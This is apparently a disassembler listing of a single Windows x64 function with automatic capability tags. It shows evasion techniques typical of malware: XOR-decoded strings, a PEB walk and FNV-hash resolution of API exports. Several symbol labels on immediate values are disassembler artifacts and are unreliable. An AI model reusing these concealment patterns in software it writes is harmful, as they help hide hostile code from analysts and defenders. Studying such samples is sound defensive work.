Function at 0x140057020
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x37]
sub rsp, 0xd0
mov rax, qword [0x1401494d8]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov cl, Ordinal_41
mov byte [rbp - 0x41], Ordinal_30
movzx edi, cl
mov al, reloc.WLDAP32.dll_Ordinal_45
mov r8b, 0x2f
xor cl, 0x1c
movzx r10d, r8b
mov byte [rbp - 0x3e], cl
movzx r11d, al
xor r14d, r14d
mov dl, 0x2b
mov byte [rbp - 0x36], r14b
xor r8b, 0x1c
xor al, 0x1c
xor dl, 0x1c
mov byte [rbp - 0x3c], r8b
mov sil, reloc.WLDAP32.dll_Ordinal_46
mov byte [rbp - 0x3f], al
mov r9b, reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp - 0x3d], dl
mov bl, 0x24
lea ecx, [r14 + 0x33]
xor sil, 0x1c
lea r8, [rbp - 0x40]
xor r9b, 0x1c
mov byte [rbp - 0x40], sil
xor r10b, 0x1c
mov byte [rbp - 0x3b], r9b
xor r11b, 0x1c
mov byte [rbp - 0x3a], r10b
xor bl, 0x1c
mov byte [rbp - 0x39], r11b
xor dil, 0x1c
mov byte [rbp - 0x38], bl
mov byte [rbp - 0x37], dil
call fcn.140053470
mov r9, rax
cmp sil, 0x30
jl 0x1400570f0
cmp sil, 0x39
jg 0x1400570f0
mov ecx, 0x62b
call fcn.140053470
imul eax, r9d
inc r8
movsx r9d, sil
movzx esi, byte [r8]
add eax, 0xffffffd0
add r9d, eax
cmp sil, 0x30
jge 0x1400570c5
movsxd rax, r9d
mov r8b, 0x65
mov dl, 0x60
mov byte [rbp - 0x51], 0x54
xor dl, 0x54
mov byte [rbp - 0x4b], r14b
mov r9b, 0x54
mov byte [rbp - 0x4d], dl
mov ecx, dword [rax]
xor r9b, r8b
mov dword [0x14014a1ec], ecx
mov al, 0x6d
mov cl, 0x64
mov byte [rbp - 0x50], r9b
xor cl, 0x54
xor r8b, 0x54
mov byte [rbp - 0x4e], cl
xor al, 0x54
mov ecx, 0x33
mov byte [rbp - 0x4c], r8b
mov byte [rbp - 0x4f], al
lea r8, [rbp - 0x50]
call fcn.140053470
mov r10, rax
cmp r9b, 0x30
jl 0x140057171
cmp r9b, 0x39
jg 0x140057171
mov ecx, 0x62b
call fcn.140053470
imul eax, r10d
inc r8
movsx r10d, r9b
movzx r9d, byte [r8]
add eax, 0xffffffd0
add r10d, eax
cmp r9b, 0x30
jge 0x140057146
cmp dword [0x14014a1ec], r10d
mov qword [rsp + 0x100], r12
mov qword [rsp + 0x108], r13
mov qword [rsp + 0x110], r15
jb 0x1400578b0
movzx eax, word [0x1400d8d70]
mov ecx, 0x59
movzx r15d, word [0x1400d8d5e]
movzx esi, cx
movzx r14d, word [str.Head]
xor r15w, cx
movzx ebx, word [0x1400d8d62]
xor r14w, cx
movzx r11d, word [0x1400d8d64]
lea r13d, [rcx - 0x29]
movzx r10d, word [0x1400d8d66]
lea edi, [rcx - 0x24]
movzx r9d, word [str.Pelvis]
xor bx, cx
movzx r8d, word [0x1400d8d6a]
xor r11w, cx
movzx edx, word [0x1400d8d6c]
xor r10w, cx
mov dword [rbp - 0x79], ecx
xor r9w, cx
mov word [rbp - 0x31], cx
xor r8w, cx
xor dx, cx
xor r13w, si
movzx ecx, word [0x1400d8d6e]
xor ax, si
mov word [rbp - 0x2d], r13w
mov r12d, reloc.WLDAP32.dll_Ordinal_46
xor r12w, word [rbp - 0x79]
mov r13d, 0x59
mov word [rbp - 0x2f], r12w
xor ax, r13w
xor cx, si
mov word [rbp - 7], ax
mov r12d, Ordinal_60
xor si, r13w
xor r12w, r13w
mov word [rbp - 0x1b], si
mov word [rbp - 0x2b], r12w
xor r15w, r13w
mov r12d, WSAGetLastError
mov word [rbp - 0x19], r15w
xor r12w, r13w
xor r14w, r13w
mov word [rbp - 0x29], r12w
xor bx, r13w
mov r12d, WSAGetLastError
mov word [rbp - 0x17], r14w
xor r12w, r13w
mov word [rbp - 0x15], bx
mov word [rbp - 0x27], r12w
xor r11w, r13w
mov r12d, Ordinal_46
mov word [rbp - 0x13], r11w
xor r12w, r13w
xor r10w, r13w
mov word [rbp - 0x25], r12w
xor r9w, r13w
mov r12d, 0x77
mov word [rbp - 0x11], r10w
xor r12w, r13w
mov word [rbp - 0xf], r9w
mov word [rbp - 0x23], r12w
xor r8w, r13w
mov r12d, 0x3d
mov word [rbp - 0xd], r8w
xor r12w, r13w
xor dx, r13w
mov word [rbp - 0x21], r12w
xor cx, r13w
mov r12d, edi
mov word [rbp - 0xb], dx
xor r12w, r13w
mov word [rbp - 9], cx
xor di, r13w
mov word [rbp - 0x1f], r12w
mov word [rbp - 0x1d], di
xor esi, esi
mov word [rbp - 5], si
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140057397
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140057397
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xd6388460
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140057392
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140057370
cmp r8d, 0x2cd8f0f7
je 0x14005739c
test r9d, r9d
jne 0x140057350
mov rax, qword [rax]
jmp 0x140057320
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp - 0x2f]
add rax, r10
call rax
mov r12, rax
test rax, rax
jne 0x1400575f5
movzx r12d, word [0x1400d8d5e]
lea edi, [rax + 2]
movzx eax, word [0x1400d8d70]
mov ecx, WSAGetLastError
movzx r14d, word [str.Head]
xor r12w, cx
movzx ebx, word [0x1400d8d62]
xor r14w, cx
movzx r11d, word [0x1400d8d64]
xor bx, cx
movzx r10d, word [0x1400d8d66]
xor r11w, cx
movzx r9d, word [str.Pelvis]
xor r10w, cx
movzx r8d, word [0x1400d8d6a]
xor r9w, cx
movzx edx, word [0x1400d8d6c]
xor r8w, cx
mov dword [rbp - 0x79], ecx
xor dx, cx
mov word [rbp - 1], cx
movzx r15d, si
movzx esi, cx
mov r13d, Ordinal_26
xor r13w, word [rbp - 0x79]
xor ax, si
movzx ecx, word [0x1400d8d6e]
mov word [rbp + 1], r13w
xor cx, si
mov r13d, 7
xor r13w, word [rbp - 0x79]
mov word [rbp + 3], r13w
mov r13d, WSAGetLastError
xor r15w, r13w
xor ax, r13w
mov word [rbp + 5], r15w
xor si, r13w
mov word [rbp + 0x29], ax
mov r15d, 0x5d
xor r15w, r13w
mov word [rbp + 0x15], si
mov word [rbp + 7], r15w
xor r12w, r13w
mov r15d, 0x5c
mov word [rbp + 0x17], r12w
xor r15w, r13w
xor r14w, r13w
mov word [rbp + 9], r15w
xor bx, r13w
mov r15d, reloc.WLDAP32.dll_Ordinal_27
mov word [rbp + 0x19], r14w
xor r15w, r13w
mov word [rbp + 0x1b], bx
mov word [rbp + 0xb], r15w
xor r11w, r13w
mov r15d, 0x40
mov word [rbp + 0x1d], r11w
xor r15w, r13w
xor r10w, r13w
mov word [rbp + 0xd], r15w
xor r9w, r13w
mov r15d, 0xa
mov word [rbp + 0x1f], r10w
xor r15w, r13w
mov word [rbp + 0x21], r9w
mov word [rbp + 0xf], r15w
xor r8w, r13w
mov r15d, edi
mov word [rbp + 0x23], r8w
xor r15w, r13w
xor di, r13w
xor dx, r13w
mov word [rbp + 0x11], r15w
xor cx, r13w
mov word [rbp + 0x13], di
xor eax, eax
mov word [rbp + 0x25], dx
mov word [rbp + 0x2b], ax
mov word [rbp + 0x27], cx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400575c7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400575c7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x8cc8b4bf
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400575c2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400575a0
cmp r8d, 0xcc7ffa17
je 0x1400575cc
test r9d, r9d
jne 0x140057580
mov rax, qword [rax]
jmp 0x140057550
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rcx, [rbp + 1]
add rax, r10
call rax
mov r12, rax
test rax, rax
je 0x1400578b0
xor ecx, ecx
mov byte [rbp - 0x49], Ordinal_33
mov r8b, Ordinal_45
mov byte [rbp - 0x43], cl
mov r9b, reloc.WLDAP32.dll_Ordinal_46
mov al, 0x26
mov dl, 0x2f
xor r8b, 0x1f
xor al, 0x1f
mov byte [rbp - 0x45], r8b
xor dl, 0x1f
mov byte [rbp - 0x47], al
mov r10b, Ordinal_33
mov byte [rbp - 0x46], dl
xor r10b, r9b
lea r8, [rbp - 0x48]
xor r9b, 0x1f
mov byte [rbp - 0x48], r10b
mov ecx, 0x33
mov byte [rbp - 0x44], r9b
call fcn.140053470
mov r9, rax
cmp r10b, 0x30
jl 0x14005766f
cmp r10b, 0x39
jg 0x14005766f
mov ecx, 0x62b
call fcn.140053470
imul eax, r9d
inc r8
movsx r9d, r10b
movzx r10d, byte [r8]
add eax, 0xffffffd0
add r9d, eax
cmp r10b, 0x30
jge 0x140057644
cmp dword [0x14014a1ec], r9d
jb 0x1400578ac
movdqa xmm1, xmmword [0x1400d9280]
mov r8b, 0x3f
movd edx, xmm1
mov r11b, 0x24
movdqu xmmword [rbp - 0x71], xmm1
mov byte [rbp - 0x57], 0
movzx edi, r11b
xor byte [rbp - 0x6f], dl
movzx r14d, r8b
xor byte [rbp - 0x6e], dl
xor r8b, dl
xor byte [rbp - 0x6d], dl
xor r11b, dl
xor byte [rbp - 0x6c], dl
xor dil, dl
xor byte [rbp - 0x6b], dl
xor r14b, dl
xor byte [rbp - 0x6a], dl
movdqa xmm0, xmm1
xor byte [rbp - 0x69], dl
mov cl, 0x34
xor byte [rbp - 0x68], dl
xor cl, dl
xor byte [rbp - 0x67], dl
mov r9b, Ordinal_41
xor byte [rbp - 0x66], dl
xor r9b, dl
xor byte [rbp - 0x65], dl
mov r10b, 3
xor byte [rbp - 0x64], dl
xor r10b, dl
xor byte [rbp - 0x63], dl
mov bl, Ordinal_50
xor byte [rbp - 0x62], dl
xor bl, dl
mov byte [rbp - 0x61], cl
mov sil, reloc.WS2_32.dll_gethostname
mov byte [rbp - 0x60], r8b
xor sil, dl
mov byte [rbp - 0x5f], r9b
mov r15b, 0x3e
mov byte [rbp - 0x5e], r10b
mov byte [rbp - 0x5d], r11b
mov byte [rbp - 0x5c], bl
mov byte [rbp - 0x5b], dil
mov byte [rbp - 0x5a], sil
mov byte [rbp - 0x59], r14b
psrldq xmm0, 1
movd eax, xmm0
xor al, dl
mov byte [rbp - 0x70], al
xor r15b, dl
mov byte [rbp - 0x58], r15b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400577b7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400577b7
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x93f4a0e7
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400577b2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140057790
cmp r8d, 0x1a160b63
je 0x1400577bc
test r9d, r9d
jne 0x140057770
mov rax, qword [rax]
jmp 0x140057740
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rdx, [rbp - 0x70]
add rax, r10
mov rcx, r12
call rax
mov rsi, rax
test rax, rax
je 0x1400578b0
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140057877
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140057877
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xb53ff805
lea rax, [r10 + r9*4]
mov eax, dword [rax + rbx]
add rax, r10
movzx edx, byte [rax]
inc rax
test dl, dl
je 0x140057872
nop dword [rax]
movsx edx, dl
lea rax, [rax + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rax - 1]
test dl, dl
jne 0x140057850
cmp r8d, 0xc43a1a0c
je 0x14005787c
test r9d, r9d
jne 0x140057830
mov rcx, qword [rcx]
jmp 0x140057800
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
xor r9d, r9d
mov ecx, dword [rdi + 0x1c]
add rcx, r10
lea r8d, [r9 + 1]
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
xor ecx, ecx
call rax
test rax, rax
je 0x1400578b0
mov qword [0x14014a1e0], rsi
mov al, 1
jmp 0x1400578b2
xor al, al
mov r15, qword [rsp + 0x110]
mov r13, qword [rsp + 0x108]
mov r12, qword [rsp + 0x100]
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1400c8560
add rsp, 0xd0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret